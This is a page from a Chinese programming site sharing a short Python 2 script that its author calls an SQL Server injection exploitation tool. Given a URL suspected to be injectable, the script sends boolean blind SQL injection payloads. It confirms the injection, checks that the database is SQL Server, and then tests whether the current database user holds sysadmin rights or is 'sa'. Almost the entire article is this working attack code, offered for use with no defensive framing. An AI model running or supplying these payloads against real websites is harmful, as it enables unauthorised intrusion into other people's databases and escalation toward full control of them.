程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 更多編程語言 >> 更多關於編程 >> Python編寫數據庫SA用戶檢測方案

Python編寫數據庫SA用戶檢測方案

編輯:更多關於編程

    無聊的時候,用Python寫的一個小程序,用有注入點的鏈接,檢測當前數據庫用戶是否為sa,沒什麼技術含量。

     # Code by zhaoxiaobu Email: [email protected]   

    1. #-*- coding: UTF-8 -*-    
    2. from sys import exit   
    3. from urllib import urlopen   
    4. from string import join,strip   
    5. from re import search   
    6.  
    7.  
    8. def is_sqlable():  
    9.     sql1="%20and%201=2" 
    10.     sql2="%20and%201=1" 
    11.     urlfile1=urlopen(url+sql1)  
    12.     urlfile2=urlopen(url+sql2)  
    13.     htmlcodes1=urlfile1.read()  
    14.     htmlcodes2=urlfile2.read()  
    15.     if not search(judge,htmlcodes1) and search(judge,htmlcodes2):  
    16.     print "[信息]恭喜!這個URL是有注入漏洞的!n" 
    17.     print "[信息]現在判斷數據庫是否是SQL Server,請耐心等候....."   
    18.     is_SQLServer()  
    19.     else:  
    20.     print "[錯誤]你確定這個URL能用?換個別的試試吧!n" 
    21.  
    22. def is_SQLServer():  
    23.     sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
    24.     urlfile=urlopen(url+sql)  
    25.     htmlcodes=urlfile.read()  
    26.     if not search(judge,htmlcodes):  
    27.     print "[錯誤]數據庫好像不是SQL Server的!n" 
    28.     else:  
    29.     print "[信息]確認是SQL Server數據庫!n" 
    30.     print "[信息]開始檢測當前數據庫用戶權限,請耐心等待......" 
    31.     is_sysadmin()  
    32.  
    33.  
    34. def is_sysadmin():   
    35.     sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
    36.     urlfile = urlopen(url+sql)   
    37.     htmlcodes = urlfile.read()   
    38.     if not search(judge,htmlcodes):   
    39.         print "[錯誤]當前數據庫用戶不具有sysadmin權限!n" 
    40.     else:   
    41.         print "[信息]當前數據庫用戶具有sysadmin權限!n" 
    42.         print "[信息]檢測當前用戶是不是SA,請耐心等待......" 
    43.         is_sa()   
    44.  
    45. def is_sa():   
    46.     sql = "%20and%20'sa'=(select%20System_user)";  
    47.     urlfile = urlopen(url+sql)   
    48.     htmlcodes = urlfile.read()   
    49.     if not search(judge,htmlcodes):   
    50.         print "[錯誤]當前數據庫用戶不是SA!n" 
    51.     else:   
    52.         print "[信息]當前數據庫用戶是SA!n" 
    53.  
    54.       
    55.       
    56.  
    57.  
    58. print "n########################################################################n"   
    59. print "                       ^o^SQL Server注入利用工具^o^          "   
    60. print "                      Email: [email protected]"   
    61. print "========================================================================";   
    62. url = raw_input('[信息]請輸入一個可能有注入漏洞的鏈接!nURL:')   
    63. if url == '':   
    64.     print "[錯誤]提供的URL必須具有 '.asp?xxx=' 這樣的格式"   
    65.     exit(1)   
    66.  
    67. judge = raw_input("[信息]請提供一個判斷字符串.n判斷字符串:")   
    68. if judge == '':   
    69.     print "[錯誤]判斷字符串不能為空!"   
    70.     exit(1)   
    71.  
    72. is_sqlable()  
    1. 上一頁:
    2. 下一頁:
    Copyright © 程式師世界 All Rights Reserved